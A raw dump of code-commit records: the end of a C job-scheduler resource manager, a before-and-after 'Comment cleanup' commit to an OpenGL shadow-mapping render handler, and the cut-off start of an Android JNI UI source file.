rip)\n{\n\tFD_SET(rip->r_sock, &cur_fds);\n\treturn 0;\n}\n\nstatic int\nresmgr_command(resource_info_t* rinfop)\n{\n\tif (FD_ISSET(rinfop->r_sock, &cur_fds)) {\n\t\tcall_incoming(rinfop->r_sock, SOCK_STREAM, rinfop->r_rid);\n\t\tFD_CLR(rinfop->r_sock , &cur_fds);\n\t}\n\treturn 0;\n}\n\nClassAd*\nresmgr_classad(resource_id_t rid)\n{\n\tresource_info_t *rip;\n\n\tif (!(rip = resmgr_getbyrid(rid)))\n\t\treturn NULL;\n\n\treturn rip->r_classad;\n}\n\nchar *\nstate_to_string(int state)\n{\n\tswitch (state) {\n\tcase NO_JOB:\n\t\treturn \"NoJob\";\n\tcase JOB_RUNNING:\n\t\treturn \"Running\";\n\tcase KILLED:\n\t\treturn \"Killed\";\n\tcase CHECKPOINTING:\n\t\treturn \"Checkpointing\";\n\tcase SUSPENDED:\n\t\treturn \"Suspended\";\n\tcase BLOCKED:\n\t\treturn \"Blocked\";\n\tcase SYSTEM:\n\t\treturn \"System\";\n\t}\n\treturn \"Unknown\";\n}\n\nvoid resmgr_changestate(resource_id_t rid, int new_state)\n{\n ClassAd* cp;\n char *name;\n char tmp[80];\n int start = FALSE;\n int claimed;\n resource_info_t *rip;\n \n if (!(rip = resmgr_getbyrid(rid)))\n return;\n \n cp = rip->r_classad;\n claimed = rip->r_claimed;\n \n switch (new_state) \n {\n case NO_JOB:\n cp->EvalBool(ATTR_REQUIREMENTS, template_ClassAd, start);\n if(start && claimed == FALSE ) \n {\n set_machine_status(M_IDLE);\n } \n else \n {\n set_machine_status(USER_BUSY);\n }\n cp->Delete(\"ClientMachine\");\n cp->Delete(\"RemoteUser\");\n cp->Delete(\"JobId\");\n cp->Delete(\"JobStart\");\n case JOB_RUNNING:\n set_machine_status(JOB_RUNNING);\n break;\n case KILLED:\n set_machine_status(KILLED);\n break;\n case CHECKPOINTING:\n set_machine_status(CHECKPOINTING);\n break;\n case SUSPENDED:\n set_machine_status(SUSPENDED);\n break;\n case BLOCKED:\n set_machine_status(BLOCKED);\n break;\n case SYSTEM:\n set_machine_status(SYSTEM);\n break;\n default:\n EXCEPT(\"Change states, unknown state (%d)\", new_state);\n }\n \n name = state_to_string(new_state);\n rip->r_state = new_state;\n \n sprintf(tmp,\"State=\\\"%s\\\"\",name);\n cp->InsertOrUpdate(tmp);\n \n sprintf(tmp,\"EnteredCurrentState=%d\",(int)time((time_t*)0));\n cp->InsertOrUpdate(tmp);\n\n update_central_mgr();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\tCopyright (c) 2014, Madd Games.\n\tAll rights reserved.\n\t\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions are met:\n\t\n\t* Redistributions of source code must retain the above copyright notice, this\n\t list of conditions and the following disclaimer.\n\t\n\t* Redistributions in binary form must reproduce the above copyright notice,\n\t this list of conditions and the following disclaimer in the documentation\n\t and\/or other materials provided with the distribution.\n\t\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\tAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\tIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n\tDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n\tFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n\tDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n\tSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\tCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n\tOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\tOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <Apoc\/Video\/StandardRenderHandler.h>\n#include <Apoc\/Entity\/World.h>\n#include <Apoc\/Utils\/Utils.h>\n\n\/\/ Texture units:\n\/\/ 0 = main (diffuse) texture\n\/\/ 1 = directional light array\n\/\/ 2 = point light array\n\/\/ 3 = shadow map\n\/\/ 4 = specular map\n\/\/ 5 = normal map\n\nextern \"C\" const char *stdVertexShader;\nextern \"C\" const char *stdFragmentShader;\nfloat lmatheight = -0.3;\n\nconst float defImageTexData[] = {\n\t0.3, 0.3, 1.0, 1.0,\t\t1.0, 1.0, 1.0, 1.0,\n\t1.0, 1.0, 1.0, 1.0,\t\t0.3, 0.3, 1.0, 1.0\n};\n\nconst float defSpecularMapData[] = {\n\t1.0, 1.0, 1.0, 1.0\n};\n\nconst float defNormalMapData[] = {\n\t0.5, 0.5, 1.0, 0.0\n};\n\nStandardRenderHandler::StandardRenderHandler(int screenWidth, int screenHeight)\n\t: numDirLights(0), numPointLights(0), screenWidth(screenWidth), screenHeight(screenHeight)\n{\n\trenderProgram = createProgram(stdVertexShader, stdFragmentShader);\n\n\t\/\/ set up the directional light array buffer.\n\tglActiveTexture(GL_TEXTURE1);\n\tglGenTextures(1, &dirLightTex);\n\tglBindTexture(GL_TEXTURE_BUFFER, dirLightTex);\n\tglGenBuffers(1, &dirLightBuffer);\n\tglBindBuffer(GL_TEXTURE_BUFFER, dirLightBuffer);\n\tglTexBuffer(GL_TEXTURE_BUFFER, GL_RGBA32F, dirLightBuffer);\n\n\t\/\/ set up the point light array buffer.\n\tglActiveTexture(GL_TEXTURE2);\n\tglGenTextures(1, &pointLightTex);\n\tglBindTexture(GL_TEXTURE_BUFFER, pointLightTex);\n\tglGenBuffers(1, &pointLightBuffer);\n\tglBindBuffer(GL_TEXTURE_BUFFER, pointLightBuffer);\n\tglTexBuffer(GL_TEXTURE_BUFFER, GL_RGBA32F, pointLightBuffer);\n\n\t\/\/ default image texture.\n\tglGenTextures(1, &defImageTex);\n\tglActiveTexture(GL_TEXTURE0);\n\tglBindTexture(GL_TEXTURE_2D, defImageTex);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 2, 2, 0, GL_RGBA, GL_FLOAT, defImageTexData);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n\n\t\/\/ default specular map.\n\tglGenTextures(1, &defSpecularMap);\n\tglActiveTexture(GL_TEXTURE4);\n\tglBindTexture(GL_TEXTURE_2D, defSpecularMap);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_FLOAT, defSpecularMapData);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n\n\t\/\/ default normal map.\n\tglGenTextures(1, &defNormalMap);\n\tglActiveTexture(GL_TEXTURE5);\n\tglBindTexture(GL_TEXTURE_2D, defNormalMap);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_FLOAT, defNormalMapData);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n\t\n\t\/\/ the shadowmap framebuffer\n\tglGenFramebuffers(1, &shadowFramebuffer);\n\tglGenTextures(1, &shadowTex);\n\tglBindTexture(GL_TEXTURE_2D, shadowTex);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT16, 1366, 768, 0, GL_DEPTH_COMPONENT, GL_FLOAT, NULL);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_FUNC, GL_LEQUAL);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_COMPARE_R_TO_TEXTURE);\n\n\tglBindFramebuffer(GL_FRAMEBUFFER, shadowFramebuffer);\n\tglFramebufferTexture(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, shadowTex, 0);\n\tif (glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE)\n\t{\n\t\tApocFail(\"The shadowmap framebuffer is incomplete!\");\n\t};\n\n\tMatrix view = Matrix::LookAt(\n\t\tVector(0.0, -0.1, -1.0),\n\t\tVector(0.0, 1.0, 0.0),\n\t\tVector(0.0, 0.0, 0.0)\n\t);\n\tlightMatrix = Matrix::Ortho(20, -20, 20, -20, -30, 20) * view;\n\t\/\/cout << \"Light matrix: \" << endl << lightMatrix << endl;\n\n\t\/\/Vector point(-11.000000, 0.000000, 10.999980, 1);\n\t\/\/cout << \"Test point: \" << (lightMatrix * point) << endl;\n};\n\nvoid StandardRenderHandler::render()\n{\n\tMatrix view = Matrix::LookAt(\n\t\tVector(0.0, lmatheight, -1.0),\n\t\tVector(0.0, 1.0, 0.0),\n\t\tVector(0.0, 0.0, 0.0)\n\t);\n\tlightMatrix = Matrix::Ortho(20, -20, 20, -20, -20, 10) * view;\n\n\t\/\/glDepthFunc(GL_LESS);\n\tglUniform1i(getUniformLocation(\"uIsParticle\"), 0);\n\tglBindFramebuffer(GL_FRAMEBUFFER, 0);\n\tglBindFramebuffer(GL_FRAMEBUFFER, shadowFramebuffer);\n\tglViewport(0, 0, 1366, 768);\n\tglClearColor(0.0, 0.0, 0.0, 1.0);\n\tglClear(GL_DEPTH_BUFFER_BIT);\n\tglUniform1i(getUniformLocation(\"uIsShadowMap\"), 1);\n\tglDrawBuffer(GL_NONE);\n\tMatrix identity = Matrix::Identity();\n\tglUniformMatrix4fv(getUniformLocation(\"uProjectionMatrix\"), 1, GL_FALSE, &identity[0][0]);\n\tglUniformMatrix4fv(getUniformLocation(\"uViewMatrix\"), 1, GL_FALSE, &lightMatrix[0][0]);\n\tWorld::render(false);\n\t\/\/return;\n\n\tglBindFramebuffer(GL_FRAMEBUFFER, 0);\n\tglViewport(0, 0, screenWidth, screenHeight);\n\t\/\/glUseProgram(renderProgram);\n\tglDrawBuffer(GL_BACK);\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\tglUniformMatrix4fv(getUniformLocation(\"uLightMatrix\"), 1, GL_FALSE, &lightMatrix[0][0]);\n\tglUniform1i(getUniformLocation(\"uIsShadowMap\"), 0);\n\tglUniform4f(getUniformLocation(\"uAmbientLight\"), 0.1, 0.1, 0.1, 1.0);\n\tglUniform1i(getUniformLocation(\"uDirLightArray\"), 1);\n\tglUniform1i(getUniformLocation(\"uPointLightArray\"), 2);\n\tglUniform1i(getUniformLocation(\"uShadowMap\"), 3);\n\tglUniform1i(getUniformLocation(\"uSpecularMap\"), 4);\n\tglUniform1i(getUniformLocation(\"uNormalMap\"), 5);\n\tglUniform1i(getUniformLocation(\"uNumDirLights\"), numDirLights);\n\tglUniform1i(getUniformLocation(\"uNumPointLights\"), numPointLights);\n\tglActiveTexture(GL_TEXTURE3);\n\tglBindTexture(GL_TEXTURE_2D, shadowTex);\n\tglEnable(GL_CULL_FACE);\n\tWorld::render();\n\n\tglUniformMatrix4fv(getUniformLocation(\"uModelMatrix\"), 1, GL_FALSE, &identity[0][0]);\n\tglUniformMatrix4fv(getUniformLocation(\"uObjectMatrix\"), 1, GL_FALSE, &identity[0][0]);\n\tglUniform1i(getUniformLocation(\"uIsParticle\"), 1);\n\tWorld::renderParticles();\n};\n\nvoid StandardRenderHandler::getAttrLocations(GLint &attrVertex, GLint &attrTexCoords, GLint &attrNormal)\n{\n\tattrVertex = glGetAttribLocation(renderProgram, \"inVertex\");\n\tattrTexCoords = glGetAttribLocation(renderProgram, \"inTexCoords\");\n\tattrNormal = glGetAttribLocation(renderProgram, \"inNormal\");\n};\n\nGLint StandardRenderHandler::getUniformLocation(const char *name)\n{\n\treturn glGetUniformLocation(renderProgram, name);\n};\n\nGLint StandardRenderHandler::getAttrLocation(const char *name)\n{\n\treturn glGetAttribLocation(renderProgram, name);\n};\n\nvoid StandardRenderHandler::bindProgram()\n{\n\tglUseProgram(renderProgram);\n\tglUniform4f(getUniformLocation(\"uAmbientLight\"), 0.1, 0.1, 0.1, 1.0);\n};\n\nvoid StandardRenderHandler::setDirLights(RenderHandler::DirLight *array, int count)\n{\n\tglBindBuffer(GL_TEXTURE_BUFFER, dirLightBuffer);\n\tglBufferData(GL_TEXTURE_BUFFER, sizeof(RenderHandler::DirLight)*count, array, GL_DYNAMIC_COPY);\n\tnumDirLights = count;\n};\n\nvoid StandardRenderHandler::setPointLights(RenderHandler::PointLight *array, int count)\n{\n\tglBindBuffer(GL_TEXTURE_BUFFER, pointLightBuffer);\n\tglBufferData(GL_TEXTURE_BUFFER, sizeof(RenderHandler::PointLight)*count, array, GL_DYNAMIC_COPY);\n\tnumPointLights = count;\n};\n\nvoid StandardRenderHandler::bindDefaultTextures()\n{\n\tglActiveTexture(GL_TEXTURE0);\n\tglBindTexture(GL_TEXTURE_2D, defImageTex);\n\tglActiveTexture(GL_TEXTURE4);\n\tglBindTexture(GL_TEXTURE_2D, defSpecularMap);\n\tglActiveTexture(GL_TEXTURE5);\n\tglBindTexture(GL_TEXTURE_2D, defNormalMap);\n};\n<commit_msg>Comment cleanup<commit_after>\/*\n\tCopyright (c) 2014, Madd Games.\n\tAll rights reserved.\n\t\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions are met:\n\t\n\t* Redistributions of source code must retain the above copyright notice, this\n\t list of conditions and the following disclaimer.\n\t\n\t* Redistributions in binary form must reproduce the above copyright notice,\n\t this list of conditions and the following disclaimer in the documentation\n\t and\/or other materials provided with the distribution.\n\t\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\tAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\tIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n\tDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n\tFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n\tDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n\tSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\tCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n\tOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\tOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <Apoc\/Video\/StandardRenderHandler.h>\n#include <Apoc\/Entity\/World.h>\n#include <Apoc\/Utils\/Utils.h>\n\n\/\/ Texture units:\n\/\/ 0 = main (diffuse) texture\n\/\/ 1 = directional light array\n\/\/ 2 = point light array\n\/\/ 3 = shadow map\n\/\/ 4 = specular map\n\/\/ 5 = normal map\n\nextern \"C\" const char *stdVertexShader;\nextern \"C\" const char *stdFragmentShader;\nfloat lmatheight = -0.3;\n\nconst float defImageTexData[] = {\n\t0.3, 0.3, 1.0, 1.0,\t\t1.0, 1.0, 1.0, 1.0,\n\t1.0, 1.0, 1.0, 1.0,\t\t0.3, 0.3, 1.0, 1.0\n};\n\nconst float defSpecularMapData[] = {\n\t1.0, 1.0, 1.0, 1.0\n};\n\nconst float defNormalMapData[] = {\n\t0.5, 0.5, 1.0, 0.0\n};\n\nStandardRenderHandler::StandardRenderHandler(int screenWidth, int screenHeight)\n\t: numDirLights(0), numPointLights(0), screenWidth(screenWidth), screenHeight(screenHeight)\n{\n\trenderProgram = createProgram(stdVertexShader, stdFragmentShader);\n\n\t\/\/ set up the directional light array buffer.\n\tglActiveTexture(GL_TEXTURE1);\n\tglGenTextures(1, &dirLightTex);\n\tglBindTexture(GL_TEXTURE_BUFFER, dirLightTex);\n\tglGenBuffers(1, &dirLightBuffer);\n\tglBindBuffer(GL_TEXTURE_BUFFER, dirLightBuffer);\n\tglTexBuffer(GL_TEXTURE_BUFFER, GL_RGBA32F, dirLightBuffer);\n\n\t\/\/ set up the point light array buffer.\n\tglActiveTexture(GL_TEXTURE2);\n\tglGenTextures(1, &pointLightTex);\n\tglBindTexture(GL_TEXTURE_BUFFER, pointLightTex);\n\tglGenBuffers(1, &pointLightBuffer);\n\tglBindBuffer(GL_TEXTURE_BUFFER, pointLightBuffer);\n\tglTexBuffer(GL_TEXTURE_BUFFER, GL_RGBA32F, pointLightBuffer);\n\n\t\/\/ default image texture.\n\tglGenTextures(1, &defImageTex);\n\tglActiveTexture(GL_TEXTURE0);\n\tglBindTexture(GL_TEXTURE_2D, defImageTex);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 2, 2, 0, GL_RGBA, GL_FLOAT, defImageTexData);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n\n\t\/\/ default specular map.\n\tglGenTextures(1, &defSpecularMap);\n\tglActiveTexture(GL_TEXTURE4);\n\tglBindTexture(GL_TEXTURE_2D, defSpecularMap);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_FLOAT, defSpecularMapData);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n\n\t\/\/ default normal map.\n\tglGenTextures(1, &defNormalMap);\n\tglActiveTexture(GL_TEXTURE5);\n\tglBindTexture(GL_TEXTURE_2D, defNormalMap);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_FLOAT, defNormalMapData);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n\t\n\t\/\/ the shadowmap framebuffer\n\tglGenFramebuffers(1, &shadowFramebuffer);\n\tglGenTextures(1, &shadowTex);\n\tglBindTexture(GL_TEXTURE_2D, shadowTex);\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT16, 1366, 768, 0, GL_DEPTH_COMPONENT, GL_FLOAT, NULL);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_FUNC, GL_LEQUAL);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_COMPARE_R_TO_TEXTURE);\n\n\tglBindFramebuffer(GL_FRAMEBUFFER, shadowFramebuffer);\n\tglFramebufferTexture(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, shadowTex, 0);\n\tif (glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE)\n\t{\n\t\tApocFail(\"The shadowmap framebuffer is incomplete!\");\n\t};\n\n\tMatrix view = Matrix::LookAt(\n\t\tVector(0.0, -0.1, -1.0),\n\t\tVector(0.0, 1.0, 0.0),\n\t\tVector(0.0, 0.0, 0.0)\n\t);\n\tlightMatrix = Matrix::Ortho(20, -20, 20, -20, -30, 20) * view;\n\t\/\/cout << \"Light matrix: \" << endl << lightMatrix << endl;\n\n\t\/\/Vector point(-11.000000, 0.000000, 10.999980, 1);\n\t\/\/cout << \"Test point: \" << (lightMatrix * point) << endl;\n};\n\nvoid StandardRenderHandler::render()\n{\n\tMatrix view = Matrix::LookAt(\n\t\tVector(0.0, lmatheight, -1.0),\n\t\tVector(0.0, 1.0, 0.0),\n\t\tVector(0.0, 0.0, 0.0)\n\t);\n\tlightMatrix = Matrix::Ortho(20, -20, 20, -20, -20, 10) * view;\n\n\tglUniform1i(getUniformLocation(\"uIsParticle\"), 0);\n\tglBindFramebuffer(GL_FRAMEBUFFER, 0);\n\tglBindFramebuffer(GL_FRAMEBUFFER, shadowFramebuffer);\n\tglViewport(0, 0, 1366, 768);\n\tglClearColor(0.0, 0.0, 0.0, 1.0);\n\tglClear(GL_DEPTH_BUFFER_BIT);\n\tglUniform1i(getUniformLocation(\"uIsShadowMap\"), 1);\n\tglDrawBuffer(GL_NONE);\n\tMatrix identity = Matrix::Identity();\n\tglUniformMatrix4fv(getUniformLocation(\"uProjectionMatrix\"), 1, GL_FALSE, &identity[0][0]);\n\tglUniformMatrix4fv(getUniformLocation(\"uViewMatrix\"), 1, GL_FALSE, &lightMatrix[0][0]);\n\tWorld::render(false);\n\n\tglBindFramebuffer(GL_FRAMEBUFFER, 0);\n\tglViewport(0, 0, screenWidth, screenHeight);\n\tglDrawBuffer(GL_BACK);\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\tglUniformMatrix4fv(getUniformLocation(\"uLightMatrix\"), 1, GL_FALSE, &lightMatrix[0][0]);\n\tglUniform1i(getUniformLocation(\"uIsShadowMap\"), 0);\n\tglUniform4f(getUniformLocation(\"uAmbientLight\"), 0.1, 0.1, 0.1, 1.0);\n\tglUniform1i(getUniformLocation(\"uDirLightArray\"), 1);\n\tglUniform1i(getUniformLocation(\"uPointLightArray\"), 2);\n\tglUniform1i(getUniformLocation(\"uShadowMap\"), 3);\n\tglUniform1i(getUniformLocation(\"uSpecularMap\"), 4);\n\tglUniform1i(getUniformLocation(\"uNormalMap\"), 5);\n\tglUniform1i(getUniformLocation(\"uNumDirLights\"), numDirLights);\n\tglUniform1i(getUniformLocation(\"uNumPointLights\"), numPointLights);\n\tglActiveTexture(GL_TEXTURE3);\n\tglBindTexture(GL_TEXTURE_2D, shadowTex);\n\tglEnable(GL_CULL_FACE);\n\tWorld::render();\n\n\tglUniformMatrix4fv(getUniformLocation(\"uModelMatrix\"), 1, GL_FALSE, &identity[0][0]);\n\tglUniformMatrix4fv(getUniformLocation(\"uObjectMatrix\"), 1, GL_FALSE, &identity[0][0]);\n\tglUniform1i(getUniformLocation(\"uIsParticle\"), 1);\n\tWorld::renderParticles();\n};\n\nvoid StandardRenderHandler::getAttrLocations(GLint &attrVertex, GLint &attrTexCoords, GLint &attrNormal)\n{\n\tattrVertex = glGetAttribLocation(renderProgram, \"inVertex\");\n\tattrTexCoords = glGetAttribLocation(renderProgram, \"inTexCoords\");\n\tattrNormal = glGetAttribLocation(renderProgram, \"inNormal\");\n};\n\nGLint StandardRenderHandler::getUniformLocation(const char *name)\n{\n\treturn glGetUniformLocation(renderProgram, name);\n};\n\nGLint StandardRenderHandler::getAttrLocation(const char *name)\n{\n\treturn glGetAttribLocation(renderProgram, name);\n};\n\nvoid StandardRenderHandler::bindProgram()\n{\n\tglUseProgram(renderProgram);\n\tglUniform4f(getUniformLocation(\"uAmbientLight\"), 0.1, 0.1, 0.1, 1.0);\n};\n\nvoid StandardRenderHandler::setDirLights(RenderHandler::DirLight *array, int count)\n{\n\tglBindBuffer(GL_TEXTURE_BUFFER, dirLightBuffer);\n\tglBufferData(GL_TEXTURE_BUFFER, sizeof(RenderHandler::DirLight)*count, array, GL_DYNAMIC_COPY);\n\tnumDirLights = count;\n};\n\nvoid StandardRenderHandler::setPointLights(RenderHandler::PointLight *array, int count)\n{\n\tglBindBuffer(GL_TEXTURE_BUFFER, pointLightBuffer);\n\tglBufferData(GL_TEXTURE_BUFFER, sizeof(RenderHandler::PointLight)*count, array, GL_DYNAMIC_COPY);\n\tnumPointLights = count;\n};\n\nvoid StandardRenderHandler::bindDefaultTextures()\n{\n\tglActiveTexture(GL_TEXTURE0);\n\tglBindTexture(GL_TEXTURE_2D, defImageTex);\n\tglActiveTexture(GL_TEXTURE4);\n\tglBindTexture(GL_TEXTURE_2D, defSpecularMap);\n\tglActiveTexture(GL_TEXTURE5);\n\tglBindTexture(GL_TEXTURE_2D, defNormalMap);\n};\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/..\/inc\/slib\/core\/definition.h\"\n\n#if defined(SLIB_PLATFORM_IS_ANDROID)\n\n#include \"..\/..\/..\/inc\/slib\/ui\/core.h\"\n\n#include \"..\/..\/..\/inc\/slib\/ui\/screen.h\"\n#include \"..\/..\/..\/inc\/slib\/ui\/platform.h\"\n#include \"..\/..\/..\/inc\/slib\/ui\/mobile_app.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/map.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/io.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/log.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/safe_static.h\"\n\nSLIB_UI_NAMESPACE_BEGIN\n\nSLIB_JNI_BEGIN_CLASS(_JAndroidPoint, \"android\/graphics\/Point\")\n\tSLIB_JNI_INT_FIELD(x);\n\tSLIB_JNI_INT_FIELD(y);\nSLIB_JNI_END_CLASS\n\nSLIB_JNI_BEGIN_CLASS(_AndroidUtil, \"slib\/platform\/android\/ui\/Util\")\n\tSLIB_JNI_STATIC_METHOD(getDefaultDisplay, \"getDefaultDisplay\", \"(Lslib\/platform\/android\/SlibActivity;)Landroid\/view\/Display;\");\n\tSLIB_JNI_STATIC_METHOD(getDisplaySize, \"getDisplaySize\", \"(Landroid\/view\/Display;)Landroid\/graphics\/Point;\");\n\tSLIB_JNI_STATIC_METHOD(openURL, \"openURL\", \"(Lslib\/platform\/android\/SlibActivity;Landroid\/view\/View;[Ljava\/lang\/String;)V\");\nSLIB_JNI_END_CLASS\n\nvoid _AndroidUiThread_runDispatchCallback(JNIEnv* env, jobject _this);\n\nSLIB_JNI_BEGIN_CLASS(_AndroidUiThread, \"slib\/platform\/android\/ui\/UiThread\")\n\tSLIB_JNI_STATIC_METHOD(isUiThread, \"isUiThread\", \"()Z\");\n\tSLIB_JNI_STATIC_METHOD(dispatch, \"dispatch\", \"()V\");\n\tSLIB_JNI_STATIC_METHOD(runLoop, \"runLoop\", \"()V\");\n\tSLIB_JNI_STATIC_METHOD(quitLoop, \"quitLoop\", \"()V\");\n\n\tSLIB_JNI_NATIVE(nativeDispatchCallback, \"nativeDispatchCallback\", \"()V\", _AndroidUiThread_runDispatchCallback);\nSLIB_JNI_END_CLASS\n\nvoid _Android_onCreateActivity(JNIEnv* env, jobject _this, jobject activity);\nvoid _Android_onDestroyActivity(JNIEnv* env, jobject _this, jobject activity);\nvoid _Android_onResumeActivity(JNIEnv* env, jobject _this, jobject activity);\nvoid _Android_onPauseActivity(JNIEnv* env, jobject _this, jobject activity);\njboolean _Android_onBack(JNIEnv* env, jobject _this, jobject activity);\n\nSLIB_JNI_BEGIN_CLASS(_Android, \"slib\/platform\/android\/Android\")\n\tSLIB_JNI_NATIVE(onCreateActivity, \"nativeOnCreateActivity\", \"(Landroid\/app\/Activity;)V\", _Android_onCreateActivity);\n\tSLIB_JNI_NATIVE(onDestroyActivity, \"nativeOnDestnativeOnResumeActivityroyActivity\", \"(Landroid\/app\/Activity;)V\", 